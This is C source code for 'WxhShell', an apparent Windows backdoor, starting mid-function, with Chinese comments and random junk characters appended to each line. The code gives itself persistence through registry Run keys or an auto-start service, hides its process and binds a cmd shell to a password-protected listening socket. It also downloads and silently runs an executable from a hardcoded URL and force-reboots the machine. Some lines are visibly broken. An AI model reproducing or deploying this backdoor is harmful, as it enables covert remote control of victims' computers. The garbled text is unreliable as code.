    if(Boot(SHUTDOWN)) I4Rd2G_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wagb|B\  
    else { /I~(*X  
    closesocket(wsh); $,8}3R5}  
    ExitThread(0); J/>9w  
    } ["BD,mB  
    break; Xf%wW[~  
    } zL=PxFw0  
  // 获取shell ,/Al'  
  case 's': { s<'WTgy1i  
    CmdShell(wsh); #McX  
    closesocket(wsh); '9tV-whw  
    ExitThread(0); *}RV)0mif  
    break; COFCa&m9c  
  } r 3FUddF'  
  // 退出 B#, TdP]/  
  case 'x': { EY}*}-3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z@gEJ^"yA"  
    CloseIt(wsh); (Y~gItej  
    break; FB }8  
    } 8Y P7'Fz  
  // 离开 c +N\uG4  
  case 'q': { !n`Y^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >o4Ih^VB  
    closesocket(wsh); >p>B-m  
    WSACleanup(); owe6ge7m  
    exit(1); Ocf:73t  
    break; V*%Lc9<d  
        } <G /a-Z  
  } cIQ e^C  
  } 3Bbd2[<W  
4;)aGN{e  
  // 提示信息 Psw<9[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LPS]TG\  
} 2|JtRE+  
  } OR<%h/ \f  
.9$ 7 +  
  return; fDrjR6xV  
} 4|/=]w  
qK,PuD7i"  
// shell模块句柄 !CUX13/0  
int CmdShell(SOCKET sock) ^+u/Lw&  
{ -m_H]<lWZ  
STARTUPINFO si; j% Wip j;c  
ZeroMemory(&si,sizeof(si)); I9hZ&ed16  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m98w0D@Ee  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z3N^)j8  
PROCESS_INFORMATION ProcessInfo; yv2wQ_({  
char cmdline[]="cmd"; Lem:zXj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?vg|;Q  
  return 0; gh<2i\})'  
} jPmp=qg"q  
0/fA>%&  
// 自身启动模式 ;3 /*Z5p  
int StartFromService(void) eK =v<X  
{ JqP~2,T  
typedef struct n7iIY4gZ  
{ VY j pl  
  DWORD ExitStatus; Ct9dV7SH  
  DWORD PebBaseAddress; {LqahO*  
  DWORD AffinityMask;  ?h3t"9  
  DWORD BasePriority; 9e0t  
  ULONG UniqueProcessId; 9N;y^ Y\  
  ULONG InheritedFromUniqueProcessId; 0<u(!iL  
}   PROCESS_BASIC_INFORMATION; 2W6t0MgZ  
iE* Y@E5x0  
PROCNTQSIP NtQueryInformationProcess; m?`?T   
bI+ TFOP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 68nBc~iAm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q=#@g  
hs?cV)hDS  
  HANDLE             hProcess; ITf4PxF  
  PROCESS_BASIC_INFORMATION pbi; Tw@:sWC  
s E0ldN"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /5j]laYK)  
  if(NULL == hInst ) return 0; a4x(lx&  
MBO>.M$B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u$nYddak  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^ SW!S_&Z2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +a74] H"  
*s (L!+  
  if (!NtQueryInformationProcess) return 0; DUWSY?^c  
;]Ko7M(4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;\rKkH"K8n  
  if(!hProcess) return 0; {:ZsUnzm  
FSA"U9 w<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aJSBG|IC  
cp L'  
  CloseHandle(hProcess); ]Aa.=  
'I5~<"E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); baz~luM  
if(hProcess==NULL) return 0; v|GDPq  
2_ CJV  
HMODULE hMod; y9X1X{  
char procName[255]; ?vV&tqnx%  
unsigned long cbNeeded; ^8{:RiN6e~  
i~uoK7o|G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]=jpqxlx  
OG{vap)  
  CloseHandle(hProcess); DW0UcLO  
DRmN+2I  
if(strstr(procName,"services")) return 1; // 以服务启动 }D*5PV%d  
,xuA%CF-S  
  return 0; // 注册表启动 epQdj=h  
} $uCY\ xqZ  
w/Y6m.i1  
// 主模块 @{o3NR_  
int StartWxhshell(LPSTR lpCmdLine) t[HA86X  
{ %C~LKs5oH  
  SOCKET wsl; k/.a yLq  
BOOL val=TRUE; Rd>PE=u  
  int port=0; V^qkHm e  
  struct sockaddr_in door; .;jp2^  
m$80D,3  
  if(wscfg.ws_autoins) Install(); 5<mGG;F  
sX|bp)Nw  
port=atoi(lpCmdLine); 8mv}-;  
*."a>?D~  
if(port<=0) port=wscfg.ws_port; ]n^TN r7  
T5? eb"  
  WSADATA data; kC=h[<'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; be+tAp`  
D5jZ;z}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   } TsND6Ws3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Is#w=s}2  
  door.sin_family = AF_INET; ;}QM#5Xdt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZmzYJ$:6  
  door.sin_port = htons(port); hVd PO  
yvt :/X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pef$-3aP>E  
closesocket(wsl); J6J|&Z~UT,  
return 1; <v[UYvZvY  
} Ncsk~=[  
q+?>shqsZ  
  if(listen(wsl,2) == INVALID_SOCKET) { :Kx6|83  
closesocket(wsl); >Z!H9]f(  
return 1; 2sOetmWE7  
} g"|Z1iy|9  
  Wxhshell(wsl); V jZx{1kCR  
  WSACleanup(); )&wJ_ (z  
b,o@ m  
return 0; drW}w+ !  
XpoEZ|0  
} ;.#l[  
X@up=%(  
// 以NT服务方式启动 U!Eo*?LU$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0 \}%~e  
{ ODE^;:z !  
DWORD   status = 0; #Oq~ZV|<l  
  DWORD   specificError = 0xfffffff; hH*/[|z  
*8#]3M]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3iv;4e ;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {[$JiljD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4I7;/ZgALQ  
  serviceStatus.dwWin32ExitCode     = 0; /I@Dv?  
  serviceStatus.dwServiceSpecificExitCode = 0; }S}9Pm,:  
  serviceStatus.dwCheckPoint       = 0; GK8x<Aq%z  
  serviceStatus.dwWaitHint       = 0; >do3*ko A  
ZD t|g^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E6_.Q `!ll  
  if (hServiceStatusHandle==0) return; !Ng~;2GoA  
HYWKx><   
status = GetLastError();  v+qHH8  
  if (status!=NO_ERROR) +?R !  
{ bZ_vb? n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Df_*W"(v  
    serviceStatus.dwCheckPoint       = 0; VFjNrngl  
    serviceStatus.dwWaitHint       = 0; ZZ@1l  
    serviceStatus.dwWin32ExitCode     = status; |8s45g>  
    serviceStatus.dwServiceSpecificExitCode = specificError; \o=YsJ8U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8CN~o|uN  
    return; #Ss lH  
  } q:X&)f  
3tAX4DnYrq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MaQ`7U5 |e  
  serviceStatus.dwCheckPoint       = 0; v''F\V )  
  serviceStatus.dwWaitHint       = 0; /FW{>N1   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U5pg<xI  
} G'0]m-)dw  
U?sio%`(  
// 处理NT服务事件,比如:启动、停止 JtGBNz!"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H;=++Dh  
{ RY9h^q*  
switch(fdwControl) FNB4YZ6  
{ aK4ZH}XHE"  
case SERVICE_CONTROL_STOP: ``9`Xq  
  serviceStatus.dwWin32ExitCode = 0; =BNS3W6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [|E|(@J  
  serviceStatus.dwCheckPoint   = 0; =!Ce#p?h,  
  serviceStatus.dwWaitHint     = 0; HDV$y=oHh  
  { -lNT"9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @A;Ouu(  
  } Bgy?k K2[  
  return; t,>j{SK~  
case SERVICE_CONTROL_PAUSE: 'awZ-$#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |JRaskd  
  break; <$ oI  
case SERVICE_CONTROL_CONTINUE: dp'xd>m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R7j'XU  
  break; }!n90 9 L  
case SERVICE_CONTROL_INTERROGATE: /\C5`>x  
  break; 4!^flKZQ  
}; oNK-^N?-T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B`1"4[{  
} "{Jq6):mp  
 ZXL  
// 标准应用程序主函数 pR*)\@ma  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tyk\l>S  
{ ]<B@g($  
* M,'F^E2  
// 获取操作系统版本 2,.;Mdl  
OsIsNt=GetOsVer(); p:@JCsH=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #V:28[  
=%IBl]Z!"  
  // 从命令行安装 >;M?f!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Vh>ty1|_  
QGI_aU  
  // 下载执行文件 vh">Z4  
if(wscfg.ws_downexe) { u/g4s (a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }8,[B50  
  WinExec(wscfg.ws_filenam,SW_HIDE); |E =8  
} TU(w>v  
LA%t'n h  
if(!OsIsNt) { i<uWLhgh1$  
// 如果时win9x,隐藏进程并且设置为注册表启动 SB}0u=5  
HideProc(); rbD}fUg  
StartWxhshell(lpCmdLine); +M %zOX/  
} G" &yE.E5  
else k6mC_  
  if(StartFromService()) Wo[*P\8  
  // 以服务方式启动 yB~` A>~M  
  StartServiceCtrlDispatcher(DispatchTable); Jkq?wpYp  
else Q@"mL  
  // 普通方式启动 5(V'<  
  StartWxhshell(lpCmdLine); O!=ae|  
Fy'/8Yv#L  
return 0; ?O!'ZZX  
} '}|sRuftb  
Jx(`.*$  
9;B6<`e/U  
eTrIN,4  
=========================================== U9ZWSDs  
yQ{xRtNO  
c4AkH|  
_J+p[=[L  
Q $5U5hb  
~DJ>)pp  
" +o7Np| Ou  
7UzbS,$x  
#include <stdio.h> X 'W8 mqk  
#include <string.h> a$K.Or}  
#include <windows.h> = ^OXP+o  
#include <winsock2.h> j9XRC9   
#include <winsvc.h> f#3U,n8:  
#include <urlmon.h> aHzS>  
R]y[n;aGC  
#pragma comment (lib, "Ws2_32.lib") ; M%n=+[O  
#pragma comment (lib, "urlmon.lib") tF@hH}{;  
6x$1En  
#define MAX_USER   100 // 最大客户端连接数 }q~M$  
#define BUF_SOCK   200 // sock buffer =|_{J"sv  
#define KEY_BUFF   255 // 输入 buffer *#n?6KqZ  
4gRt^T-?  
#define REBOOT     0   // 重启 8H})Dq%d7  
#define SHUTDOWN   1   // 关机 sVjM^y24  
(" ,(@nS  
#define DEF_PORT   5000 // 监听端口 Oi~ ]~+2  
z%cpV{Nu  
#define REG_LEN     16   // 注册表键长度 RV2s@<0p  
#define SVC_LEN     80   // NT服务名长度 vUa&9Y  
`*`@ro  
// 从dll定义API MsL*\)*s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aOr'OeG(=e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $%ts#56*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I8RPW:B;B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .2V`sg.!  
!qjIhZi  
// wxhshell配置信息 M],}.l  
struct WSCFG { E"|LA[o  
  int ws_port;         // 监听端口 J4 Tc q  
  char ws_passstr[REG_LEN]; // 口令 B9glPcy}SS  
  int ws_autoins;       // 安装标记, 1=yes 0=no }hPFd  
  char ws_regname[REG_LEN]; // 注册表键名 $B3<"  
  char ws_svcname[REG_LEN]; // 服务名 |9X$@R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X$<s@_#1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n M?mdb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yK #9)W-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jhN]1t /\X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :@H&v%h(u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x?unE@?\S  
5[py{Gq  
}; Qq.ht  
/I>o6CI  
// default Wxhshell configuration v[O}~E7'  
struct WSCFG wscfg={DEF_PORT, k{ru< cf  
    "xuhuanlingzhe", F/ODV=J-  
    1, *b@YoQe3!  
    "Wxhshell", {"([p L  
    "Wxhshell", IJ`%Zh{f  
            "WxhShell Service", FYs-vW{  
    "Wrsky Windows CmdShell Service", !((J-:=  
    "Please Input Your Password: ", rh6gB]X]3:  
  1, Z"T#"FDIr  
  "http://www.wrsky.com/wxhshell.exe", yG`J3++ S  
  "Wxhshell.exe" `<z"BGQ  
    }; Wt%+q{  
*h `P+_Q7  
// 消息定义模块 88GS Bg:YH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z!<X{& e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =y$|2(6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :'pLuN  
char *msg_ws_ext="\n\rExit."; #9a\Ab  
char *msg_ws_end="\n\rQuit."; 7t@r}rC,K  
char *msg_ws_boot="\n\rReboot..."; v|&Nh?r  
char *msg_ws_poff="\n\rShutdown..."; a->;K+  
char *msg_ws_down="\n\rSave to "; @Weim7r  
0^L>J "o  
char *msg_ws_err="\n\rErr!"; 007(k"=oV  
char *msg_ws_ok="\n\rOK!"; 5a PPq~%  
~T{^7"q\  
char ExeFile[MAX_PATH]; B`)gXqBt  
int nUser = 0; VJeoO)<j  
HANDLE handles[MAX_USER]; _shoh  
int OsIsNt; "\x<Zg;  
#'@pL0dj  
SERVICE_STATUS       serviceStatus; 8{t^< j$n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |\lsTY&2  
/ X #4  
// 函数声明 O_M2Axm  
int Install(void); *" ("^_x\  
int Uninstall(void); *K<|E15 ,  
int DownloadFile(char *sURL, SOCKET wsh); ODbEL/  
int Boot(int flag); h "MiD  
void HideProc(void); =Z3{6y}3p  
int GetOsVer(void);  *XlbD  
int Wxhshell(SOCKET wsl); xejQ!MAB  
void TalkWithClient(void *cs); 7Ntt#C;]U  
int CmdShell(SOCKET sock); OVo3.  
int StartFromService(void); TvbkvK  
int StartWxhshell(LPSTR lpCmdLine); V?.')?'V  
=41g9UQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UcHe"mn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]r^/:M  
#}8l9[Q|M  
// 数据结构和表定义 w[5uX>  
SERVICE_TABLE_ENTRY DispatchTable[] = Zt;dPYq>  
{ PLkwtDi+&  
{wscfg.ws_svcname, NTServiceMain}, cL]vJ`?Ih  
{NULL, NULL} .;1tu+S  
}; 8,0WHivg  
Ly7|:IbC  
// 自我安装 Hz*5ZIw  
int Install(void) /Vg=+FEO  
{ eNwF<0}  
  char svExeFile[MAX_PATH]; ~6)A/]6  
  HKEY key; x'4q`xDa  
  strcpy(svExeFile,ExeFile); .d JX,^  
GV+K] KDI  
// 如果是win9x系统,修改注册表设为自启动 -|"[S"e  
if(!OsIsNt) { y .O%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m>H+noc^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ?)_?YLi  
  RegCloseKey(key); uX!5G:x]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Hli@:B2s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y&-1SP<  
  RegCloseKey(key); IpJMq^ Z  
  return 0; klwC.=?(j"  
    } p>g5WebBN  
  } 4P406,T]r  
} 6ka, FjJ\  
else { #K:!s<_"  
<Va7XX%>  
// 如果是NT以上系统,安装为系统服务 K-a~Kr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X6hp}  
if (schSCManager!=0) Skb d'j  
{ Ke*tLnO  
  SC_HANDLE schService = CreateService 6D=9J%;  
  ( zeHf(N  
  schSCManager, u n)YK  
  wscfg.ws_svcname, 3>~W_c9@  
  wscfg.ws_svcdisp, Y#/mE!&  
  SERVICE_ALL_ACCESS, TbUouoc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qb.Ve7c  
  SERVICE_AUTO_START,  .J0Tn,m  
  SERVICE_ERROR_NORMAL, *&=sL  
  svExeFile, u . xUM  
  NULL, k Y}r^NaQA  
  NULL, W<QMUu  
  NULL, q)m0n237P  
  NULL, RjcU0$Hi  
  NULL )V6Bzn}9  
  ); fLtN-w6t  
  if (schService!=0) vj_[LFE  
  { sU|\? pJ  
  CloseServiceHandle(schService); M_OvIU(E  
  CloseServiceHandle(schSCManager); }MCh$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D(' w<9.  
  strcat(svExeFile,wscfg.ws_svcname); i40'U?eG~6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +nz6+{li\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 61[ 8I},V  
  RegCloseKey(key);  1?oX"  
  return 0; dbE]&w`?d  
    } K1gZ>FEY|N  
  } ?ZqvR^  
  CloseServiceHandle(schSCManager); P[G.LO  
} As y&X  
} $ouw *|<  
|= o)|z2  
return 1; L&I8lG  
} \[>Ob  
Un~8N  
// 自我卸载 $ #*";b)QY  
int Uninstall(void) C8xxR~mq  
{ \~r`2p-K  
  HKEY key; Cwh*AKq(  
o4zX 41W  
if(!OsIsNt) { 1Zh4)6x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L/[b~D>T%  
  RegDeleteValue(key,wscfg.ws_regname); =(3Yj[>st  
  RegCloseKey(key); Fu z'!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +n)_\@aQ  
  RegDeleteValue(key,wscfg.ws_regname); !jySID?q  
  RegCloseKey(key); ZNKopA(=|%  
  return 0; [J{M'+a  
  } z AZ+'9LB  
} '1 }ybSG  
} ev{;}2~V  
else { k(]R;`f$W  
mnG\qsKNLK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j6JK4{  
if (schSCManager!=0) '#oNOU  
{ Rs +),  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F%]Z yO9  
  if (schService!=0) Nueb xd  
  { UG!528;7  
  if(DeleteService(schService)!=0) { , S }  
  CloseServiceHandle(schService); xpU7ZY  
  CloseServiceHandle(schSCManager); l9P=1TL  
  return 0; p9(|p Z  
  } R^ln-H;  
  CloseServiceHandle(schService); DH>>u  
  } t|5T,YFG  
  CloseServiceHandle(schSCManager); WXj iKW(  
} \{@n >Mh  
} Gkr]8J  
`xq/<U;i  
return 1; Fs3rsig  
} -_KO}_  
gB)Cmw*  
// 从指定url下载文件 k vQ] }`a  
int DownloadFile(char *sURL, SOCKET wsh) V#P`FX  
{ eVetG,["  
  HRESULT hr; 'Zket=Sm;  
char seps[]= "/"; r3BQo[ 't  
char *token; y"L7.B  
char *file; og~Uv"&?T  
char myURL[MAX_PATH]; Po1/_# mu  
char myFILE[MAX_PATH]; 0XWhSrHM  
mH,L,3R;R  
strcpy(myURL,sURL); JS^QfT,zE  
  token=strtok(myURL,seps); Wp |qv  
  while(token!=NULL) J6C/`)+w  
  { LFskNF0X  
    file=token; $SbgdbX  
  token=strtok(NULL,seps); nkxv,_)ZT  
  } "8#EA<lsS  
JnY.]:  
GetCurrentDirectory(MAX_PATH,myFILE); KB$S B25m  
strcat(myFILE, "\\"); 6]^~yby P  
strcat(myFILE, file); QB"Tlw(  
  send(wsh,myFILE,strlen(myFILE),0); n90DS/Yx  
send(wsh,"...",3,0); xe&w.aBI>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t9\}!{<s  
  if(hr==S_OK) N fBH  
return 0; 2N}UB=J  
else t8?$q})RL  
return 1; ^D5+ S`V  
tZL {;@  
} iU/v; T(  
f =MP1q[  
// 系统电源模块 O,[9E  
int Boot(int flag) _)%Sz"g^Ix  
{ .ED8b5t|  
  HANDLE hToken; ?glK~G!i  
  TOKEN_PRIVILEGES tkp; Re<@ .d  
|6O7_U#q  
  if(OsIsNt) { NE)Yd7m-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "2=v:\~=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #7r13$>!  
    tkp.PrivilegeCount = 1; ]5',`~jkF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8fSY@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *mjPNp'3{m  
if(flag==REBOOT) { N!~5S`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W' Y?X]xr  
  return 0; 6BdK)s  
} ) -^(Su(!  
else { xh:A*ZI=7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dI?x&#(vw  
  return 0; =3dR-3  
} ]pq(Q:"P,5  
  } uefrE53  
  else { pdySip<  
if(flag==REBOOT) { tu:W1?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'D:R]@eK]  
  return 0; $V\Dl]a1  
} BA6(Owb  
else { :%4N4| Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;@FCa j&  
  return 0; rX}FhBl5  
} vs%d}]v  
} '',g}WvRwe  
{XEX0|TZ  
return 1; Q.MbzSgXL  
} \&MJ(F>vJ  
{%+UQ!]d8  
// win9x进程隐藏模块 3%(,f,  
void HideProc(void) ]R*h3U@5#K  
{ X#<+D1P  
!!+LFe4su  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;wa#m1  
  if ( hKernel != NULL ) &[7z:`+Y##  
  { AaLbJYuKd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rcAPp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;Xl {m`E+  
    FreeLibrary(hKernel); g%_ 3  
  } >K!$@]2F  
T$"sw7<  
return; I|<`Er-;58  
} Nil nS!BM  
\gFV6 H?`  
// 获取操作系统版本 3jx/1VV  
int GetOsVer(void) }1EtM/Ni{!  
{ HJ_8 `( '  
  OSVERSIONINFO winfo;  "SA*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pCC3r t(  
  GetVersionEx(&winfo); ]NyN@9u@(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ke^9R-jP  
  return 1; #+Y%Bxf  
  else ZV ;~IaBL  
  return 0; `d}t?qWS;F  
} #H]c/  
7nPjeh  
// 客户端句柄模块 va2FgW`Bd+  
int Wxhshell(SOCKET wsl) ,*.qa0E#W  
{ J -z <&9  
  SOCKET wsh; 6>gm!6`  
  struct sockaddr_in client; 3Dx@rW\  
  DWORD myID; Jb6)U]  
wv  
  while(nUser<MAX_USER) S.; ahce  
{ :;jRAjq"  
  int nSize=sizeof(client); i8A-h6E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;]l`Q,*OXb  
  if(wsh==INVALID_SOCKET) return 1; "^oU&]KQJ  
cI'su?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uhU'm@JZ  
if(handles[nUser]==0) /5X_gjOL,  
  closesocket(wsh); #wZbG|%  
else >eWORf>7  
  nUser++; PXF u  
  } Vy6~O|68=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n)PqA*  
q)3QmA~  
  return 0; T>|Y_3YO_a  
} D67z6jep(  
Md&K#)9,(  
// 关闭 socket Dxe]LES\]  
void CloseIt(SOCKET wsh) u s8.nL/  
{ \olY)b[  
closesocket(wsh); Z>[n~{-,p  
nUser--; p2 !w86 F  
ExitThread(0); >*EJ6FPO  
} $ I J^  
X!6$<8+1OV  
// 客户端请求句柄 deEc;IAo  
void TalkWithClient(void *cs) b!qlucA eE  
{ 7NkMr8[}F  
9&zQ 5L>  
  SOCKET wsh=(SOCKET)cs; sJMpF8   
  char pwd[SVC_LEN]; WidLUv   
  char cmd[KEY_BUFF]; VAp 1{  
char chr[1]; j_.tg7X  
int i,j; R5xV_;wD  
CIVV"p`}  
  while (nUser < MAX_USER) { oA8A @,-L  
h!`KX2~  
if(wscfg.ws_passstr) { P?@o?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p) ?6~\F:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Js(MzL  
  //ZeroMemory(pwd,KEY_BUFF); )"]( ?V  
      i=0; Mp(;PbVD  
  while(i<SVC_LEN) { ';m;K (g  
iO"ZtkeNr  
  // 设置超时 1.5R`vKn]  
  fd_set FdRead; :jJ0 +Q  
  struct timeval TimeOut; iI3,q-LA  
  FD_ZERO(&FdRead); Z`#XB2,  
  FD_SET(wsh,&FdRead); <B'PB"R3y  
  TimeOut.tv_sec=8; +U iJWO  
  TimeOut.tv_usec=0; = toU?:.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2J (nJT"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8Y_lQfJa  
}@~+%_;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]TN/n%\  
  pwd=chr[0]; /4}y2JVv)  
  if(chr[0]==0xd || chr[0]==0xa) { [ #fz [U  
  pwd=0; k\RS L  
  break; EHfB9%O7y  
  } 4?]s%2U6  
  i++; -wVuM.n(Z  
    } FH{p1_kZ=  
{{AZW   
  // 如果是非法用户,关闭 socket sq@c?!'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q3`~uTzk  
} q. j$]?PQ  
PAH#yM2Ic  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  yyGn <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gz4LjMQ &  
7eW6$$ju,N  
while(1) { Sbeq%Iwm.  
CdMV(  
  ZeroMemory(cmd,KEY_BUFF); x`I"%pG  
CF v]wS  
      // 自动支持客户端 telnet标准   30<_`  
  j=0; >DN^',FEm  
  while(j<KEY_BUFF) { 3S1{r )[j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4O:HT m  
  cmd[j]=chr[0]; ,t!I%r  
  if(chr[0]==0xa || chr[0]==0xd) { m}f{o  
  cmd[j]=0; !3{. V\P)  
  break; N36B*9m&p  
  } 79I"F'  
  j++; NErvX/qK  
    } 7`e<H8g  
{ R/e1-;  
  // 下载文件 ~S$ex,~  
  if(strstr(cmd,"http://")) { ,!X:wY}dW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ["e;8H[K)%  
  if(DownloadFile(cmd,wsh)) umt`0m. :  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(]k)ym/  
  else H%Z;Yt8^gt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ocz21gl-?`  
  } $.31<@T7  
  else { Wys$#pJ  
#4!f/dWJp  
    switch(cmd[0]) { l<'}`  
  $`R=Q  
  // 帮助 U[:=7UABU?  
